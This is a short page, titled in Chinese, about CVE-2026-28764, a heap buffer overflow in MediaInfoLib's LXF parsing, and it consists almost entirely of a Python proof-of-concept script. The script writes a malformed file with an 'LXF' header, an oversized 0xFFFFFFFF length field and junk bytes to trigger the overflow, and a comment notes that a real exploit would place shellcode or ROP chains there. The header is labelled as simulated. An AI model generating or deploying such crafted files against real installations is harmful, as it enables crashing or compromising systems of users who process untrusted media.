CVE-2026-28764 MediaInfoLib堆缓冲区溢出漏洞

import struct # PoC generation for MediaInfoLib LXF Heap Buffer Overflow # This script creates a malformed file with an oversized LXF element. def generate_poc(filename): with open(filename, 'wb') as f: # Generic header (simulated) f.write(b'LXF\x00') # Malicious element length # Triggering the overflow by setting a large size value malicious_size = 0xFFFFFFFF # Write size field f.write(struct.pack('<I', malicious_size)) # Write payload (junk data to overflow the buffer) # In a real exploit, this would contain shellcode or ROP chains payload = b'A' * 0x1000 f.write(payload) print(f"[+] PoC file generated: {filename}") if __name__ == "__main__": generate_poc("crash_lxf.bin")